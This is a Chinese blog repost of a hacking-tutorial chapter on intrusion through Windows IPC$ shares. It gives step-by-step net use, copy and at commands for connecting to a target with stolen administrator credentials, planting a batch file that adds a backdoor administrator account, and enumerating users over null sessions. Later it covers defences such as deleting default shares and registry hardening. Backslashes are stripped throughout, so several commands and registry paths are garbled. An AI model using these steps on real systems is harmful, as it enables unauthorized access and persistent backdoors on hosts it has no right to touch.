黑客零接触(第二章 入侵之IPC$)(转)[@more@]第二章 基于认证的入侵
IPC$入侵
远程管理计算机
Telnet入侵
远程命令执行及远程查杀
入侵注册表
入侵MS SQL服务器
获取帐号密码
远程综合入侵
第一节 IPC$入侵
一、相关知识
IPC是英文Internet Process Connection的缩写,可以理解为“命名管道”资源,它是Win操作系统提供的一个通信基础,用来在两台主机进程之间建立通信连接,从而进行远程管理。而IPC后面的“$”是Win系统所使用的隐藏符号,因此“IPC$”表示IPC共享。
打个比方,IPC连接就象是挖好的地道,通信程序就通过这个IPC地道来访问目标主机。
默认情况下,IPC是共享的,除非人为的手工删除IPC$。
通过IPC$连接,入侵者就能够实现远程控制目标主机。因此,这种基于IPC的入侵也常常被简称为IPC入侵。
与远程主机建立IPC$需要以下条件:
本地机所需条件:操作系统在win 2000以下;本地计算机开放IPC$;在获得远程主机的管理员帐号和密码的情况下,IPC$才可能建立成功,否则建立的IPC$空连接,是没有任务权限的。
远程主机需要的条件:开放IPC$共享、运行Server服务。
可以用DOS命令来查看Windows系统的共享:net share
一些常用的DOS命令:
net user:系统帐号类操作
net localgroup:系统组操作
net use:远程连接、映射操作
net send:信使命令
net time:查看远程主机系统时间
netstat –n :查看本机网络连接状态
nbtstat –a IP :查看指定IP主机的NetBIOS信息。
At :在目标主机建立计划任务。
二、实例:
1、进入DOS界面。CMD。
2、建立IPC$连接
net use 192.168.1.88ipc$ “密码” /user:”用户”
3、映射网络驱动器
net use z: 192.168.1.88c$
4、查找指定文件
右击刚才映射的Z盘,选择“搜索”,便可以查找需要的文件。
5、建立后门帐号
首先编写test.bat文件,内容为:
net use myname 12345678 /add
net localgroup administrators myname /add
拷贝文件到目标主机:
copy test.bat 192.168.1.88c$
或
copy test.bat 192.168.1.88admin$
6、通过计划任务执行test.bat文件。
查看目标主机的系统时间:net time 192.168.1.88
在目标主机建立计划任务:at 192.168.1.88 14:30 c: est.bat
7、断开连接
net use * /del
或
net use 192.168.1.88ipc$ /del
三、IPC$空连接漏洞
IPC$本来要求客户机有足够的权限才能连接到目标主机,然而事实并不尽然。IPC$空连接漏洞允许客户端只使用空用户各、空密码就可以与目标主机成功建立连接。虽然空连接无法执行管理类操作,例如映射网络驱动器、上传文件、执行脚本等命令,但是入侵者可以探测目标主机的一些关键信息。
实例:
1、建立IPC$空连接
net use 192.168.1.88ipc$ “” /user:””
2、获得目标主机的系统时间
net time 192.168.1.88
3、获取目标主机上的用户信息。
两款软件:USERINFO和X-Scan
USERINFO:利用userinfo来查询用户信息时,不需要先建立IPC$连接。
userinfo 192.168.1.88 administrator
X-Scan:自动扫描。
四、安全解决方案
首先,可以用net share来查看本机共享资源。
1、利用BAT批处理文件删除默认共享
首先建立BAT文件,内容如下:
net share ipc$ /del
net share adimn$ /del
net share c$ /del
net share d$ /del
然后将文件拷至本机“开始”/“程序”/“启动”中,然后每次开机便会自动执行此BAT文件,从而删除了默认共享。
如果要打开共享,可用以下命令:net share admin$
2、利用注册表来删除默认共享
Win 2000服务器版本:
HLMSystemCurrentControlSetServiceslanmanserverParameters
新建Name:AutoShareServer
Type:DWORD (双字节)
Value:0
Win 2000工作站版本:
HLMSystemCurrentControlSetServiceslanmanserverParameters
新建Name:AutoShareWks
Type:DWORD (双字节)
Value:0
如果要使用默认共享,只需删除刚才新建的键值便可。或者在注册表中新建一键值:
HLMSoftwareMicrosoftWindowsCurrentVersionpolicies
新建一network子键,并在其下新建一名为NoShareControl的双字节,其值为1。
3、关闭Server
Server服务是IPC$和默认共享所依赖的服务,如果关闭了Server服务,IPC$和默认共享便不存在,但同时也使服务器丧失其他一些服务功能。所以,此方法不太适合服务器使用,只适合个人计算机使用。
在计算机“管理工具”下的“服务”下将Server服务禁用。
也可在DOS下关闭Server服务,但此命令只能生效一次,重启电脑后,Server服务依然自动开启。 命令:net stop server /y
4、禁止空连接进行枚举攻击的方法
有了IPC$空连接作为连接基础,入侵者便可以反复的试探性连接,直到连接成功、获取密码。
禁止空连接进行枚举攻击可以利用注册表来修改:
HLMSystemCurrentControlSetControlLsa
将Restrict Anonymous=DWORD的键值改为:00000001
但是,这种方法并不能禁止建立空连接。现在再使用X-Sacn对计算机进行安全检测,便会发现该主机不再泄露用户列表和共享列表了,操作系统也不会被X-Scan识别了。
来自 “ ITPUB博客 ” ,链接:https://blog.itpub.net/10617542/viewspace-949484/
,如需转载,请注明出处,否则将追究法律责任。